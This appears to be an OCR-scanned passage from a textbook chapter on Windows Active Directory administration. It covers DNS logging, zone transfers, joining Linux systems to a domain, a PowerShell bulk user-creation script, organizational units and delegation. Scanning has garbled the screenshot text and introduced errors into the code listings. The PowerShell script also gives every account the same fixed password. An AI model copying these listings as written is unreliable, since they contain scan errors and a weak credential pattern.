[[] Enable automatic scavenging of stale records

enging period 0 days

Reset to Defautt

ok J[ Comoed || ooh | [ he

Figure 6-9. The properties dialog box for the DNS Server on Windows Server 2016

DNS Logging

Windows logs information, warning, and error logs about the DNS server using the Windows log
system (cf. Chapter 10). They can be found in Event Viewer, by navigating Event Viewer »
Application and Services Logs » DNS Server. They are also accessible from the navigation pane
in DNS Manager (Figure 6-10) on systems other than Windows Server 2016.
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Figure 6-10. Viewing DNS logs in DNS Manager on Windows Server 2012 R2

Windows can be configured to log the details of DNS queries. From DNS Manager, right-click
on the name of the server and bring up the Properties dialog box. From the Debug Logging tab,
select the types of data to be recorded and the location of the log file. The log file is plain text and
begins with a key that explains the fields. Here is an example of a log file that shows a request
from 10.0.4.252 for the address titan.corp.saturn.test and the server’s response.

DNS Server log file creation at 8/25/2014 10:25:17 AM
Log file wrap at 8/25/2014 10:25:17 AM

Message logging key (for packets - other items use a subset of these fields):
Field # Information Values

Time

Thread ID

Context

Internal packet identifier
UDP/TCP indicator
Send/Receive indicator
Remote IP

Xid (hex)

W 0N OvuU1 B W N B
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10 Query/Response R = Response
blank = Query

11 Opcode Q = Standard Query
N = Notify
U = Update
? = Unknown

12 [ Flags (hex)

13 Flags (char codes) A = Authoritative Answer
T = Truncated Response
D = Recursion Desired
R = Recursion Available

14 ResponseCode ]

15 Question Type

16 Question Name
8/25/2014 10:25:22 AM 0770 PACKET 000000F62A727B10 UDP Rcv 10.0.4.252 8d7d
Q [o001 D NOERROR] A (5)titan(4)corp(6)saturn(4)test(0)
8/25/2014 10:25:22 AM 0770 PACKET 000000F62A727B10 UDP Snd 10.0.4.252 8d7d R
0 [0085 A D  NOERROR] A (5)titan(4)corp(6)saturn(4)test(0)

... Output Deleted ...

Zone Properties

To change other settings for a zone, right-click the zone inside DNS Manager, then select
Properties (Figure 6-11). The Start of Authority (SOA) tab allows the user to update the timing
settings: refresh interval, retry interval, TTL, and expiration. The serial number can be manually
set or simply incremented. The Zone Transfers tab on the same dialog box allows the user to
control zone transfers. By default, zone transfers are prohibited; this can be overridden and zone
transfers permitted to a list of known servers or to any server.

Stub Zones and Slave Zones

Instead of setting up conditional forwarders, the user may prefer to set up a stub zone. For a stub
zone, the server only holds information about the authoritative name servers for the zone. To
build a stub zone, from DNS Manager, right-click on the type of zone (Forward Lookup or Reverse
Lookup) and select New Zone. For the zone type, select stub zone. Choose how the zone is to be
replicated in Active Directory. Provide the name of the zone and the IP address of a master DNS
server for the zone. The chosen master must allow zone transfers. It takes a few moments for the
zone transfer to occur, and if checked immediately after configuration, the zone may report an
error. If it has been configured correctly, wait a moment and then refresh the view.
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WINS | Zone Transfers | Secuty |
| Genel |  SatofAuhoty(SOA) |  NemeSewers

To add name servers to the list, click Add.

Name servers:
Server Fully Qualfied Domain Name (FQDN) IP Address
mimas comp.satum test. [10.0.6.121]

= its an IP add d as the result of a DNS query and may
not represent actual records stored on this server.

| el =

Figure 6-11. The Name Servers tab in the zone properties dialog box on Windows Server
2012 R2

To configure a zone on a BIND server as a slave to a zone hosted on a Windows master,
first configure the slave zone in BIND, specifying the master. For example, if cassini.corp.
saturn.test at 10.0.6.120 is the Windows DNS master, in the BIND named.conf file, include an
appropriate zone definition like

zone "corp.saturn.test” in {
type slave;
file "slaves/bak.corp.saturn.test";
masters {10.0.6.120; };

b

On the Windows master, from DNS Manager, right-click on the zone to bring up the zone
properties dialog box. From the Zone Transfer tab, be sure that the Windows server allows zone
transfers to the BIND slave nameserver.

Because of the complexity of the DNS entries for a domain controller, it is difficult to set up a
BIND master for an Active Directory installation. A Windows Server acting as a stand-alone DNS
server (without Active Directory) can easily be configured as a slave to a BIND DNS server (or
another Windows DNS server for that matter). To do so, create a new zone, specifying the type
as a secondary zone. Provide the name of the zone and the IP addresses of one or more master
servers.
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Managing a Windows Domain

The key benefit of an Active Directory structure is the ability to manage computers and users.
With a domain controller built, the next steps are to add these computers and users to the
domain.

Adding Systems

Before adding a new system to a domain, ensure that the system is on the network, that it is using
the DNS server provided by Active Directory, and that it can reach the Active Directory domain
controller. It is simplest if the system to be added to the domain already has a DNS entry in the
DNS server.

Adding Windows Systems to a Windows Domain

Windows systems can be added to a Windows domain without additional software. The process
of joining the domain is like the method used to set the system’s domain name. Start the

Control Panel on the system; navigate System and Security » System; then from the Computer
name domain and workgroup setting section, select Change Settings. On the resulting System
Properties dialog box (Figure 6-13), use the option to rename the computer or change its domain
or workgroup. Provide the domain name. A dialog box appears asking for an account name and
password on the domain; provide the credentials. Once the system authenticates, the user is
welcomed to the domain; the system then needs to be restarted.

Adding OpenSuSE Systems to a Windows Domain

Linux systems can be added to a Windows domain. On OpenSuSE systems, this feature is
included in YaST. To join such a system to a Windows domain, be sure that the system can
connect to the domain controller and that its DNS is properly configured. From YaST, navigate
to Windows Domain Membership. When the configuration module is launched, the user is
presented with a dialog box (Figure 6-12) to choose the domain the system is to join.
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'+ Windows Domain Membership
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Domain or Workgroup

|corp.saturn.test |

(%] Use SMB Information for LinuxAuthentication
[%] Create Home Directory on Login
[>¢] Offline Authentication
[»] Single Sign-On for SSH

~ Sharing by Users
[ ] Allow Users to Share Their Directories
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Permitted Group
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Expert Settings...
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{100 =

I NTP Configuration... ]
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Figure 6-12. The Windows Domain Membership configuration module from YaST on
OpenSuSE 11.4

If additional software packages are necessary, these will be downloaded and installed. When
this completes, the user is prompted to provide the username and password for a domain user.
When these are provided, the system is joined to the domain.

Adding Linux Systems to a Windows Domain Using
PowerBroker Open

It is possible to add CentOS, Mint, and Ubuntu systems to a Windows domain. One way to do so is
to install and configure Samba, but this is somewhat complex.

The open source tool PowerBroker Open (https://github.com/BeyondTrust/pbis-open/
wiki) simplifies the process considerably. Start by downloading an appropriate version and
package (https://github.com/BeyondTrust/pbis-open/releases); for Mint or Ubuntu systems,
itis a .deb file, while for a CentOS system it is an . rpm file. Different versions are available for
different architectures (x86 or x86_64). Run the file (as root) to start the installer.
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For example, a user on a CentOS 7.2 system would download the .rpm package, then run the
installer.

[root@pan ~]# sh ./pbis-open-8.5.3.293.1linux.x86_64.xpm.sh
Creating directory pbis-open-8.5.3.293.1inux.x86 64.rpm
Verifying archive integrity... All good.
Uncompressing pbis-open-8.5.3.293.1inux.x86_64.rpm............
Would you like to install package for legacy links? (i.e. /opt/likewise/bin/lw-
find-user-by-name -> /opt/pbis/bin/find-user-by-name) (yes/no) no
Would you like to install now? (yes/no) yes
Installing packages and old packages will be removed
warning: /root/pbis-open-8.5.3.293.1inux.x86_64.rpm/./packages/pbis-open-
upgrade-8.5.3-293.x86_64.rpm: Header V3 DSA/SHA1 Signature, key ID c9ceecef: NOKEY
Preparing... HHHHHHHHHHHH Y [100%]
Updating / installing...

1:pbis-open-upgrade-8.5.3-293  #HHHHHHHHHHHHHEHHHHHHHHRRAAHE [100%]
warning: /root/pbis-open-8.5.3.293.1inux.x86 64.rpm/./packages/pbis-open-
8.5.3-293.x86_64.rpm: Header V3 DSA/SHA1 Signature, key ID c9ceecef: NOKEY

Preparing... HHEHHHHHEHHHH A [100%]
Updating / installing...
1:pbis-open-8.5.3-293 HHHHHHHHRH A A S [100%]

Setting up SELinux Policy Module
... Output Deleted ...
Installing Packages was successful

New libraries and configurations have been installed for PAM and NSS.
Please reboot so that all processes pick up the new versions.

As root, run domainjoin-gui or domainjoin-cli to join a domain so you can log on
with Active Directory credentials. Example:
domainjoin-cli join MYDOMAIN.COM MyJoinAccount

The installation process with other distributions is similar.

There are two tools that can be used to join the system to the domain: the graphical tool
/opt/pbis/bin/domainjoin-gui and the command-line-only tool /opt/pbis/bin/domainjoin-
cli. The graphical tool will try to launch when the installation is complete. Figure 6-13 shows the
graphical tool on Mint 18.1.
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PowerBroker IdentityServices AD Settings x

‘,—‘.‘ Active Directory Membership

),

Name and Domain

! Computer name: [Ijiraq ]

\[=)| Domain: [corp,saturn.test ]

User names are usually prefixed with the name of the
domain. You can allow bare user names by specifying a
default prefix.

[£) Enable default user name prefix: [CORP

Organizational Unit

Please select the OU to which this computer should be joined.
Nested OUs should be separated by a forward-slash.

© Default (Computers or previously-joined OU)

) Specific OU path:
} Advanced

EBeyondTmst . Close 0 =4 Join Domain

Figure 6-13. The graphical tool to join a domain from Power Broker Open 8.5.3.293
shown on Mint 18.1

After the domain is selected, the graphical tool asks the user for credentials with
administrative privileges on the Windows domain. When the system is joined to the domain, a
restart is required.

On some systems, the graphical tool may fail to work; for example, on a default CentOS 7.2
system it fails because it cannot load the shared library 1ibpangox-1.0.50.0, while on a default
Ubuntu 15.10 it fails because it cannot load the shared library 1ibglade-2.0.50.0. To use the
command-line tool, specify the verb join, the domain to be joined, and an account on that
domain. As an example, to join the domain corp.saturn.test as the user fthaber, the syntaxis

[root@pan ~]# /opt/pbis/bin/domainjoin-cli join corp.saturn.test fhaber
Joining to AD Domain:  corp.saturn.test
With Computer DNS Name: pan.corp.saturn.test

fhaber@CORP.SATURN.TEST's password: <enter password here>
Warning: System restart required
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Your system has been configured to authenticate to Active Directory for the
first time. It is recommended that you restart your system to ensure that all
applications recognize the new settings.

SUCCESS

The installation process assumes the presence of an SSH server on the system. If there is no
SSH server on the system, attempts to join the domain fail. The user can either install the SSH
server or specify that SSH is to be disabled. As an example, consider Ubuntu 15.10, which does
not include an SSH server as part of its default installation. To join the domain corp.saturn.test
as the domain user fhaber without an SSH server on the system, the user can run

dhilbert@Tarvos:~$ sudo /opt/pbis/bin/domainjoin-cli join --disable ssh corp.
saturn.test fhaber

Joining to AD Domain:  corp.saturn.test

With Computer DNS Name: Tarvos.corp.saturn.test

thaber@CORP.SATURN.TEST's password: <enter password here»

Warning: System restart required

Your system has been configured to authenticate to Active Directory for the
first time. It is recommended that you restart your system to ensure that all
applications recognize the new settings.

SUCCESS

After the system has joined the domain, restart the system and log in as a regular, non-Active
Directory user. Validate that the system correctly joined the domain first by querying the domain.

dhilbert@tarvos:~$ sudo /opt/pbis/bin/domainjoin-cli query

Name = tarvos

Domain = CORP.SATURN.TEST

Distinguished Name = CN=TARVOS,CN=Computers,DC=corp,DC=saturn,DC=test

Next, verify that it correctly determined the domain controller. For example, if the domain
name is corp.saturn.test, this can be done with the command

dhilbert@tarvos:~$ /opt/pbis/bin/get-dc-name corp.saturn.test
Printing LWNET _DC_INFO fields:

dwDomainControllerAddressType = 23

dwFlags = 62461

dwVersion = 5

wLMToken = 65535

wNTToken = 65535

pszDomainControllerName = cassini.corp.saturn.test
pszDomainControllerAddress = 10.0.6.120
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pucDomainGUID(hex) = EB 33 63 1D 7B 8E 77 44 BA 75 6F B7 A2 2B AF E4
pszNetBIOSDomainName = CORP

pszFullyQualifiedDomainName = corp.saturn.test

pszDnsForestName = corp.saturn.test

pszDCSiteName = Default-First-Site-Name

pszClientSiteName = Default-First-Site-Name

pszNetBIOSHostName = CASSINI

pszUserName = <EMPTY>

Next, check that the system can correctly locate users on the domain. For example, to query
for the domain user fhaber, the user can run

dhilbert@tarvos:~$ /opt/pbis/bin/find-user-by-name corp\\fhaber
User info (Level-0):

Name: CORP\fhaber

SID: 5-1-5-21-2774461806-4257634802-1797393593-1179
Uid: 1891632283

Gid: 1891631617

Gecos: <null>

Shell: /bin/sh

Home dir: /home/local/CORP/fhaber

Logon restriction: NO

When referring to a domain user, the proper syntax on a Linux system is domain\username;
however when this is used on the command line, the backslash needs to be escaped, hence the
double backslash on the command line.

To check that the user can correctly authenticate to the system, the user can run

dhilbert@tarvos:~$ pbis authenticate-user --user corp\\fhaber
Password: <enter password here»
Success

Other useful pbis commands include pbis enum-users, which lists the Active Directory
users on the systems; and pbis status, which provides details of the domain.
To correctly configure the Bash environment for Active Directory users, run

dhilbert@tarvos:~$ sudo /opt/pbis/bin/config LoginShellTemplate /bin/bash

Ubuntu systems do not grant all users sudo privileges. A reasonable approach is to grant sudo
privileges to all Active Directory domain administrators. Run visudo (using sudo), and add the line

%corp\\domain~admins ALL=(ALL) ALL
This line allows all members of the group corp\domain”®admins privileges to use sudo.
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The needed group name may not include the Windows domain. A user can determine the
groups to which a user belongs by running the command id. On some systems, the group will
include the domain name, but on others, the domain is not included. For example, on a Mint 18.1
system, the id of a domain user does not include the domain name.

dhilbert@Ijiraq ~ $ id fhaber
uid=1891632283(fhaber) gid=1891631617(domain*users) groups=1891631617(domain*users),
1891631676 (denied*rodc”password”replication*group),1891631616(domain*admins)

This can also be seen via pbis enum-groups.

dhilbert@Ijiraq ~ $ pbis enum-groups
Group info (Level-0):

Name: winrmremotewmiusers
Gid: 1891632104
SID: S5-1-5-21-2774461806-4257634802-1797393593-1000

... Output Deleted ...

Group info (Level-0):

Name: domain”admins
Gid: 1891631616
SID: S-1-5-21-2774461806-4257634802-1797393593-512

... Output Deleted ...
In this case, the proper line in visudo would be
%domain®admins ALL=(ALL) ALL

Log out, then log in as the user corp\administrator or some other domain administrator.
Verify that the Bash prompt is set correctly, and this user can use sudo to perform system
administration tasks.

Some systems join Active Directory correctly but have problems with the login screen. For
example, by default the greeter on an Ubuntu 12.10 system does not provide the option to enter a
username. To allow this, modify /etc/1ightdm/lightdm.conf to include

[SeatDefaults]
autologin-guest=false
user-session=ubuntu
greeter-session=unity-greeter
greeter-show-manual-login=true
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On an Ubuntu 15.10 system, the corresponding file that needs to change is /usr/share/
lightdm/lightdm.conf.d/50-unity-greeter.conf and it should have the content

[Seat:*]
greeter-session=unity-greeter
greeter-show-manual-login=true

Adding Users

Users and computers in the domain can be managed with the tool Active Directory Users and
Computers (Figure 6-14). On a Windows Server 2008 R2 system, launch the tool from the Start
Menu, navigating Start » Administrative Tools » Active Directory Users and Computers. For
Windows Server 2012 or later from Server Manager (Figure 6-1) select Tools, then Active Directory
Users and Computers. On Windows Server 2012, it is also available directly from the Start Menu,
while on Windows Server 2012 R2 or 2016, it is available from the Administrative Tools entry on
the Start Menu. The tool can also be started from a terminal with dsa.msc.

To see the computers that are members of the domain, from the navigation pane select
the domain, then the container labeled Computers; to see the users on the system, select the
container labeled Users.

File Action View Help

e Mo Hm 3eurds

] Active Directory Users and Com|| Mame Type Description

[] Saved Queries 2, Administrator User Built-in account for administering the computer/domain

4 F3 corp.satum.test 82, Allowed RODC Password Re... Security Group - Domain Local  Members in this group can have their passwords replicated to all ...
J Builtin 82, Cert Publishers Security Group - Domain Local  Members of this group are permitted to publish certificates to th...
- ;‘ Computers 82, Cloneable Domain Controllers Security Group - Global Members of this group that are domain controllers may be cloned.
7] Dorr.lain Comlro“‘f‘ : #2, Denied RODC Password Repl... Security Group - Domain Local  Members in this group cannot have their passwords replicated to...
;‘ FoulgnSecunt:annﬂpal. 82, DnsAdmins Security Group - Domain Local  DNS Administrators Group
:,J :;“ naged Service Acca &S DnsUpdateProxy Security Group - Global DNS clients who are permitted to perform dynamic updates on b...
e 52, Domain Admins Security Group - Global Designated administrators of the domain

#2 Domain Computers Security Group - Global All workstations and servers joined to the domain

2, Domain Controllers Security Group - Global All domain controllers in the domain

52, Domain Guests Security Group - Global All domain guests

#2, Domain Users Security Group - Global All demain users

82 Enterprise Admins Security Group - Uni | Desig 4 ini of the

82 Enterprise Read-only Domai... Security Group - Universal Members of this group are Read-Only Domain Controllers in the ...

H2, Group Policy Creator Owners  Security Group - Global Members in this group can medify group pelicy for the domain

2. Guest User Built-in account for guest access to the computer/domain

% Protected Users Security Group - Global Members of this group are afforded additional protections again...

52, RAS and IAS Servers Security Group - Domain Local  Servers in this group can access remote access properties of users

#2, Read-only Domain Controllers Security Group - Global Members of this group are Read-Only Demain Controllers in the ...

82 Schema Admins Security Group - Uni | Desig d ini of the schema

%\MnRMRemolgWMlUsus_ Security Group - Domain Local  Members of this group can access WMI resources over manage...

Figure 6-14. Active Directory Users and Computers on Windows Server 2012 R2
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There are several default security groups present. The Domain Users group contains the users
on the domain. Users in the Domain Admins group have administrator-level access on domain
controllers, domain servers, and domain workstations; members of the Enterprise Admins can
administer all the domains in the forest.

Not every group listed under users refer to people; there is a group for domain computers and
a group for domain controllers.

To add a new user, from the navigation pane in the Active Directory Users and Computers
right-click on users; select New, then User. Enter the name of the user and an account name; then
choose a password for the new user. By default, the user must change the password at their next
logon.

Once the user is created, double-click on the user name in the Active Directory Users and
Computer Window to see the properties of that user (Figure 6-15). There are tabs for general
information, the address of the user, details of the account and profile, the telephone number
for the user, and the place the user has within the organization. Some of the account properties
include the domain groups to which the user belongs, the location of the user profile, and the
location of the user’s home directory.

| n_ |
Remote Desktop Services Profile | COM-
General | Address | Account | Profle | Telephones | Organization

& Jacobus Henricus van t Hoff

Erron o —

Last name: [I-loﬁ

Description: |
Office: |

J
Display name: |Jacobus|-|eru'icusvm‘tHoﬂ i
|
|

| [ other |
|
| [Other.. |

Figure 6-15. Properties of a user on Windows Server 2012 R2
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Scripting and PowerShell

Although the graphical process works well when adding a single user, adding many users is
better handled with a script. PowerShell includes an Integrated Scripting Environment (ISE);
this is installed by Default on Windows Server 2012 and later but is an additional feature on
Windows Server 2008 R2. To install it, navigate the Start Menu through Administrative Tools »
Server Manager. From Server Manager, expand the navigation pane for the server, right-click
on Features, then select Add Features. From the resulting menu, select Windows PowerShell
Integrated Scripting Environment (ISE) and install.

On Windows Server 2008 R2 PowerShell ISE then appears in the Start Menu; navigate All
Programs » Accessories » Windows PowerShell ISE. On Windows Server 2012 or 2012 R2, there
is an icon for PowerShell on the taskbar, while there is an entry for Windows PowerShell ISE in the
Start Menu on Windows Server 2016.

B Admini Windows - 0 X
File Edit View Tooks Debug Add-ons Help
D@ B & axloc| rae|l e 8 Boole@.
Untitled1ps1 X | #)|| | Commanas x| »
- B | r
Mocules: | Al * | |Refresn

Name:

A
Add-ADCentraAccessPolioMember
Add-ADComputerServiosiount
Adc-ADDomainControllerPasswerdRess caticnPo c
Add-ARDSResoOnyDomalndontrolierdccount
Add-ADFireGrainedPasswordPol cySunject
Add-ADGroupMember
Add-ADPAne peiGrouphembershin
Add-ADResourcePropertylisihember
Ad-ApovilentCennectionGroun
Add-AppClientPackage
Ada-ApovPublishingSenver
Add.AppaPacicage

PS5 C:\Users‘\Adeinistrator> | | Pec-reexFrovisionedrackage
Add.ApmiVoume
Add-BCOataCacheExtension
Add.BitsFile
Add-CerntifcateEnrolimentPolicyServer
Add-ClusteriSCSITargetServerRole
Adg-Computer
Add-Cortent
Adg-DnsCllentNrptiuie
Add-DnsServerClientSubnet
Add-DnsServerConditionsiforwarderZone
Add.DrsServerDiractenPasiinn
Add-DnsServerForwarder
Add.DstesverPrimanZone
Add-DinsServerQuenyResalutiondalicy
Add-DnsServerRecursionScoge

Ln1 Call 1005

Figure 6-16. Windows PowerShell ISE on Windows Server 2016, showing the script pane
(CTRL+R) and the commands add-on
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To create a “Hello World” PowerShell script, create a script with the single line like Listing 6-3.

Listing 6-3. The “Hello World” PowerShell script Testing.ps1
"Hello World"

There is no need for a print statement or an echo statement; putting a string alone on a line
causes it to be printed when the PowerShell script is run. Save the result as say “Testing.ps1”.
The script can be executed directly from the PowerShell ISE by pressing F5.

On Windows Server 2008 R2 or Windows Server 2012, the script fails; on Windows Server
2012 the returned error is

PS C:\Windows\system32> C:\Usexs\Administrator\Desktop\Testing.ps1
File C:\Users\Administrator\Desktop\Testing.psi cannot be loaded because running
scripts is disabled on this system. For more information, see
about_Execution Policies at http://go.microsoft.com/fwlink/?LinkID=135170.

+ CategoryInfo : SecurityError: (:) [],
ParentContainsErrorRecordException

+ FullyQualifiedErrorId : UnauthorizedAccess

By default, these systems do not allow users, even administrators, to run scripts that have not
been signed by a trusted publisher (like Microsoft). The current policy can be found by running

PS C:\Windows\system32> Get-ExecutionPolicy
Restricted

A better choice is to set this to RemoteSigned
PS C:\Windows\system32> Set-ExecutionPolicy RemoteSigned

In this mode, local scripts can be run, but scripts downloaded remotely must be signed. This
is the default policy on Windows Server 2012 R2 and Windows Server 2016. With this change, the
Hello World script runs as expected.

Suppose that the list of users to be added to the system is available in a plain text file named
Users.txt like Listing 6-4.

Listing 6-4. The file Users.txt, which contains a list of user names to be added to a
domain

Hermann Emil Fischer
Svante August Arrhenius
William Ramsay
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Johann Friedrich Wilhelm Adolf von Baeyer
Henri Moissan
Eduard Buchner

... Output Deleted ...

Consider the PowerShell script in Listing 6-5.

Listing 6-5. The PowerShell script useradd.ps1 to read a file of user names and create

the corresponding user in Active Directory

$nameslist = Get-Content C:\Users\Administrator\Desktop\Users.txt
ForEach ($name in $nameslist) {

$first = $name.Split(' ')[o]

$last = $name.Split(' ')[-1]

$username = $first.TolLower()[0] + $last.ToLower()

New-ADUser -Name $name °
-AccountPassword (
ConvertTo-SecureString "passwordi!" -AsPlainText -Force) °
-DisplayName $name °
-Enabled $true °
-SamAccountName $username °
-givenname $first °
-surname $last °
-userprincipalname ($username + "@corp.saturn.test") °

}

The script begins by using Get-Content to read the file Users. txt into the array $nameslist.
It then loops through each name in the list, pulling out the first name, the last name, and building
a username formed by taking the first letter of the first name and appending it to the last name, all
in lower case.

The function New-ADUser is a cmdlet; there are many cmadlets that can perform many
different jobs. This one adds the given user to Active Directory with a fixed password, setting
only a few of the many available fields for a user. Help for a cmdlet is available' directly from
PowerShell:

'The first time PowerShell is asked for help, it will prompt the user for permission to download additional
help data online; without it, PowerShell only provides partial help. To manually download the online help
data, from PowerShell, run PS C:\Users\Administrator> update-help.
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PS C:\Users\Administrator> Get-Help new-aduser

NAME
New-ADUser

SYNOPSIS
Creates a new Active Directory user.

SYNTAX

New-ADUser [-Name] <String> [-AccountExpirationDate <DateTime>]
[-AccountNotDelegated <Boolean>] [-AccountPassword <SecureString>]
[-AllowReversiblePasswordEncryption <Boolean>] [-AuthenticationPolicy
<ADAuthenticationPolicy>] [-AuthenticationPolicySilo <ADAuthenticationPolicySilo>]
[-AuthType {Negotiate | Basic}] [-CannotChangePassword

... Output Deleted ...

DESCRIPTION
The New-ADUser cmdlet creates a new Active Directory user. You can set
commonly used user property values by using the cmdlet parameters.

Property values that are not associated with cmdlet parameters can be set by
using the OtherAttributes parameter. When using this parameter be sure to place
single quotes around the attribute name.

... Ouput Deleted ...

Returning to the script, provided a backtick is the last character on a line, the command is
continued over the subsequent line; this makes the result much easier to read. PowerShell also
continues a line when it cannot be complete at that point: for example, if a line contains an open
parenthesis and a following line contains the closing parenthesis.

This script also works on Windows Server 2008 R2, but only if it is preceded with the line

Import-Module ActiveDirectory

By default, PowerShell on Windows Server 2008 R2 does not load the New-ADUser cmdlet.

Organizing a Domain

In Active Directory, an organizational unit (OU) is a container for users, groups, and/or
computers. OUs can be created around roles, around geography, around the structure of the
company/organization, or around any other convenient set of distinctions.

262



CHAPTER 6  ACTIVE DIRECTORY

Consider, for example, a small company that has decided to create an organizational unit

named “Main Site” in the anticipation that their organization will later grow. That OU contains

two separate OU’s, one for their computers and one for their users. Each of these is further

subdivided into the following structure:

¢ Main Site

Main Site- Computers
Linux Servers

Linux Workstations
Windows Servers

Windows Workstations

e Main Site- Users

Disabled Accounts
IT Staff
Production

Sales

Security Groups

To create this structure, launch Active Directory Users and Computers (Figure 6-17), either

from the Start Menu or from the Server Manager. Right-click on the domain name, select New »

Organizational Unit, then create the parent OU named Main Site. Each child OU is created in the

same fashion by right-clicking on the parent OU.
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B Active Directory Users and Computers _:_I_gjll
File Acton View Help
e |0z Hal3asT7a%
] Active Directory Users and Comput | Name ITE A Iw
(] Saved Queries "%, Albert Abraham Michelson  User
Bl 4 ad.jupiter.test 2, Antoine Herri Becquerel  User
B ] Builin %, Carl David Andersen User
) Computers 2, Charles Edovard Guilaume  User
j m‘::::: inals E)CharlesThomsteesWu... User
L nopa & Ernest Lawrence User
B al Man Site .!) Gabriel Lippmann User
= (2] Main Site- Computers .
(3] Linux Servers & Gugielmo Marconi User
157 Linux Workstations &, Heike Kameringh-Onnes  User
5] Windows Servers |  Isidor Isaac Rabi User
3] Windows Workstats | & James Franck User
= [2] Main Site- Users 2, Johannes Diderik van der ... User
5] Disabled Accounts | &, Joseph John Thomson User
&1 ITstaff 2, Lord Rayleigh User
(5] Preduction 2, Maria Skodowska-Curie  User
5] Sales 2, Max von Laue User
5] seauityGroups | &, nis Gustaf Dalén User
& [ Managed Service Accounts | , Owen Wilans Richardson ~ User
1 users 2, Percy Williams Bridgman User
2, pierre Curie User
2, prince Louis-Victor Pierre ... User
2, victor Frands Hess User
2, wihelm Conrad Réntgen  User
q | ) 2, william Henry Bragg User
I |

Figure 6-17. OU structure implemented in Windows Server 2008 R2

When creating an OU, the checkbox “Protect container from accidental deletion” is enabled
by default. To delete a protected OU, start Active Directory Users and Computers; from the main
menu, navigate View » Advanced Features. This shows additional elements in the navigation
pane. Right-click on the OU that is to be deleted, then select Properties. From the Object tab,
uncheck the box that protects the object from accidental deletion. The OU can then be deleted by
right-clicking on it and selecting Delete.

Moving users and computers to and from OUs is simple; just drag the item from the source
and drop it in the destination. Each time this is done, a dialog box appears (Figure 6-18), warning
the user that this change can affect how group policies are applied; this is expected behavior.

Active Directory Domain Services x|

& Moving objects in Active Directory Domain Services can prevent your existing
[_lg system from working the way it was designed. For example, moving an
7 organizational unit (OU) can affect the way that group policies are applied to the
accounts within the OU.

Are you sure you want to move this object?
™ Don't show this warning while this snap-in is open.|

s [ w ]

Figure 6-18. Warning box from moving objects in Active Directory, from Windows Server
2008 R2
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Groups and Delegation

A user or computer can only be a member of a single OU; however, they can be part of multiple
groups. Groups come in two types: distribution groups, primarily used for email distribution lists;
and security groups, used to manage permissions and rights.

To demonstrate the power of groups, create a new group in the Security Groups OU created
earlier. To do so, right-click on the OU, select New » Group. Provide the name of the group, say Sales
Admins. There are three options for the scope of the group: domain local, global, and universal;
select the default global scope. For the group type, select Security.

To add users to the newly created group, select a user from Active Directory Users and
Computers, then right-click; select Add to a group and provide the group name.

Despite the name of the group (Sales Admins), membership in this group has not (yet) given
these users any additional privileges. To give the members of this group privileges, right-click on
the Sales OU and select Delegate Control; this starts the Delegation of Control Wizard (Figure 6-19).
Select the Sales Admins group, and delegate some common tasks, say the abilities to

e Create, delete, and manage user accounts
e Resetuser passwords and force password change at the next logon

e Modify the membership of a group

Delegation of Control Wizard X|

Tasks to Delegate 1
You can select common tasks or customize your own. \l. X
{+ Delegate the following common tasks:
Create, delete, and manage user accounts -

Reset user passwords and force password change at next logon
[ Read all user information

[ Create. delete and manage groups

Modify the membership of a group

[ Manage Group Policy links

I:II Generate Resultant Set of Policy (Planning) | _Ill
4 »

" Create a custom task to delegate

< Back Next > Cancel |  Hebp

Figure 6-19. The Delegation of Control Wizard on Windows Server 2008 R2
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Although creating delegations is easy, the process of determining which tasks, if any, have
already been delegated is more complex. In Active Directory Users and Computers, from the
View menu select Advanced Features. Right-click on a container, say the Sales OU, then select
Properties. From the Security Tab, press the Advanced button. The permissions tab lists the
permissions assigned to the object; this includes the delegated tasks (Figure 6-20).

l Advanced Security Settings for Sales 5'

Pemissions | Audting | Owner | Effective Pemissions |

To view or edit details for a pemmission entry, select the entry and then click Edt.
Permisl
| Type | Name | Permission [nherted From | Apply To =
Deny Everyone Special <not inherited> This object only
Alow Sales Admins (AD\Sales ... <not inherited> Descendant Group objects
Sales Admins (AD\Sales ... Create/delete Usero <not inherited > This object and all desce
Allow Sales Admins (AD\Sales ... Special <not inherted> Descendant User objects —
Alow Account Operators (AD\... Create/delete InetOrg... <not inherited> This object only
Allow Account Operators (AD\... Create/delete Compu... <not inherted> This object only
Allow Account Operators (AD\... Create/delete Group ...  <not inherited> This object only
Allow Print Operators (AD\Print... Create/delete Prnter ...  <notinherted> This object only
Allow Account Operators (AD\... Create/delete Usero... <notinherted> This object only
nllnw Mamain Admine (AN MNA Fudll mertenl nnt inhantad~ Thie Ahiart Anhe I _ILI
4 »
Add.. Edt.. Remove Restore defeuts |
[V Include inheritable pemissions from this object’s parent
Maraok - :
[ok | cace | oy |

Figure 6-20. Advanced Security Settings for the OU Sales, showing the authority
delegated to members of the Sales Admins group, on Windows Server 2008 R2

Remote Server Administration Tools

Once the Delegation of Control wizard completes, the members of the Sales Admins group have
these additional privileges, but it is not clear how these are to be exercised. Domain members that
are not domain administrators do not have privileges to log on locally to the domain controller, so
how can the members of this group perform administrative activities?

The Remote Server Administration Tools (RSAT) allow a user with the proper privileges the
ability to make administrative changes to a domain from a workstation. Different versions are
available for different systems

e Win 7 (SP1): http://www.microsoft.com/en-us/download/details.
aspx?id=7887

o Win8:http://www.microsoft.com/en-us/download/details.aspx?id=28972
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o Win8.1:http://www.microsoft.com/en-us/download/details.aspx?id=39296

o Windows 10: https://www.microsoft.com/en-us/download/details.
aspx?id=45520

On Windows 7 systems, once the tool is installed, its components must be enabled. From
the Control Panel, navigate Programs » Turn Windows features on or off under Programs and
Features. From the Windows Features dialog box, select remote administration snap-ins and
tools. Administrative tools are not shown on the Start Menu for all users; this is done on a per-
user basis. Right-click the Start Menu; select Properties. On the Start Menu tab, click Customize.
From the Customize Start Menu dialog box, scroll down to System Administrative Tools and
select Display on the All Programs menu and the Start menu. Click OK.

On Windows 8 or 8.1, the components are enabled automatically and an entry for
Administrative tools placed in the Start Menu. That item may not be visible though, until the user
right-clicks on the Windows 8 Start Menu and selects All apps.

On Windows 10, the Windows Update service must be running to install Remote Server
Installation Tools; if it was disabled during setup to prevent automatic installation of updates
(cf Chapter 1) it needs to be enabled. The components appear in the Start Menu in the group
Windows Administrative Tools.

If a member of the Sales Admins group is logged on to a domain workstation, they can use the
Active Directory Users and Computers tool installed on that workstation to make allowed changes
using the same interface that a domain administrator might use on a domain controller.

Group Policy

Group policies are used to create and enforce different policies, including security-related
policies. Group policies are either local to the machine or are based on Active Directory.
To view the local group policy settings on a system, run the program gpedit.msc as an
administrator; this can be run either from the command line or from the run box.

Group Policies can be set at different levels in the following order

e Local group policies

o Site-linked policies

e Domain-linked policies
